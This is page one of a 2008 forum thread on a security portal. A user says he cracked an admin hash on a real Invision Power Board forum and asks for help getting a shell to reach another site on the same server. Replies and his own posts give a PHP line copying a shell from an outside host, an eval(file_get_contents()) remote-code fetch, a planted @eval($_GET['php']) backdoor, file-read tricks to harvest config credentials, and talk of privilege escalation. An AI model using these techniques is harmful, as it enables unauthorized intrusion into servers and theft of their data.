Waraxe IT Security Portal
Login or Register
November 21, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 79
Members: 0
Total: 79
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> IPB 2.3.2 help onto getting shell tryed everything I know Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
IPB 2.3.2 help onto getting shell tryed everything I know
PostPosted: Thu Oct 30, 2008 8:22 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




So, I have this IPB 2.3.2 forum where I could crack an admin's salted hash using my own md5 cracker (coz mdcrack seems to use the wrong hashing algo). So now I can access the panel, but I need shell on the server coz Im just side-hacking, and what I need is not the forum Wink

What I tried is using the raw php evaluation in the "Add New General Setting" form, the SELECT INTO OUTFILE method and even trying to read any file that could get me access to the server both inside the vhost dir and outside (SELECT load_file()/raw php). But nothing, i don't have file access, or at least not using those methods.

So I was wondering if anyone could help me getting out of this bad situation, or at least give some good hints. ty
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 8:26 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




@copy('http://yourevalcode.com/shell.php' , '/home/blabla/blabla/shell.php');

This form is for executing php code not SQL query's.

P.S.And read this
http://www.waraxe.us/ftopict-3541.html#14769
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 8:33 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




I know that's for php and already read/tried what you posted, but still got nothing. The raw php evaluation seems to not work I get the same errors even when I leave it blank (maybe the forum already got hax0red)..thanks anyways

EDIT: do you know if any other method works like editing templates/skins...? I m trying it but with no success
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 8:45 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to upload your shell in different directory.
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 8:56 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




pexli wrote:
Try to upload your shell in different directory.


seems like I do not have any kind of file access using that raw php code...
I will try to insert the shell code directly as raw php and let you know if it worked...
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 9:08 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Best way to try working or not is...


phpinfo();
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 9:14 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




it let me read files but I cant find the config is it init.php?

because if I could read the sql password maybe it could match the ftp's

EDIT: ok ok wait I found the way to list files, so I go the config_global.php
wait I ll let you know if I could solve the problem

EDIT: I can read files thru file_get_contents, but I do not have write access to any file inside the httpdocs directory of the vhost nor outside. I can't read files outside that directory, also. I got the config options but it didn't help me get any further access.. even had a look at many custom/not default php files I could find, but I couldn't find any hole in them (or at least nothing more helpful than what I ve already found)

any other hints?
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 11:28 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




In which directory you try to upload shell?And how?
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 12:46 pm Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




the php path where you can access files is restricted to /tmp and the /httpdocs of the virtual host, I found a way to execute all the php I want even shell functions that are ofc disabled, I can only read files and list directories within the restricted paths using file_get_contents/readfile and other file functions... still I tried using all the write functions to upload/write a shell to any directory in the /httpdocs including that one and in each subdirectory, but it says I do not have access. php version retrieved from phpinfo() is 5.2.6 I found something on milw0rm but it's still useless since you have to write code to a file...

edit: I also tried using include() require() and when I use require I get a blank page, this should mean that it doesn't get executed... also file_get_contents('http://...') works perfectly...

I also tried include()/require() and sleep(9999999); but it just doesn't show up..

another thing I tried is eval(file_get_contents('http://shell')); but it seem to not work... idk
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 3:35 pm Reply with quote
poly
Beginner
Beginner
Joined: Oct 30, 2008
Posts: 2




I dont get it
When you save your php code in the php raw form does it automatically execute your code or do you have to view some page first
View user's profile Send private message
PostPosted: Thu Oct 30, 2008 4:57 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




_mranderson_ wrote:
I found a way to execute all the php I want even shell functions that are ofc disabled


So you have access to shell, right? Now all depends on your UID/GID. But still i don't see the goal you want to achieve. Server rooting? Defacement of one of the vhosts? Defacement of all of the vhosts? Fetching some specific data? What's your motivation there?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu Oct 30, 2008 11:42 pm Reply with quote
poly
Beginner
Beginner
Joined: Oct 30, 2008
Posts: 2




Fixed my problem
waraxe you a white hat?
View user's profile Send private message
PostPosted: Fri Oct 31, 2008 9:36 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




I have used the php raw option to save a specific php that allows me to execute any raw php without saving it each time (it's a simple @eval($_GET['php'])Wink.. my goal is to install a shell, or at least run a shell on the server to view/access files on another vhost.. ofc to achieve this I may need priv escalation, but that's another problem (as the shell could help me in this job).. so all I wrote till now concerns my tries to upload/run a shell on the vhost..

EDIT: what is probable is that I ll need priv escalation to upload the shell... so I was asking if anyone knew a method that could help me reaching that goal (maybe even without priv escalation?).. btw I have already used the ipb2.3.5 exploit that you waraxe uploaded to milw0rm, so ty btw, I had a glance at the code an that is very well made nj.. also I found a Code Execution exploit that seems not written by you... but it stops because an IP filter that seems to be not bypassable...
View user's profile Send private message
PostPosted: Fri Oct 31, 2008 10:44 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




_mranderson_ i think you doing something wrong and answare to waraxe.
View user's profile Send private message
PostPosted: Fri Oct 31, 2008 10:48 am Reply with quote
_mranderson_
Valuable expert
Valuable expert
Joined: Oct 30, 2008
Posts: 51




well maybe the script dosn't have write access to files but just read...
View user's profile Send private message
IPB 2.3.2 help onto getting shell tryed everything I know
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.048 Seconds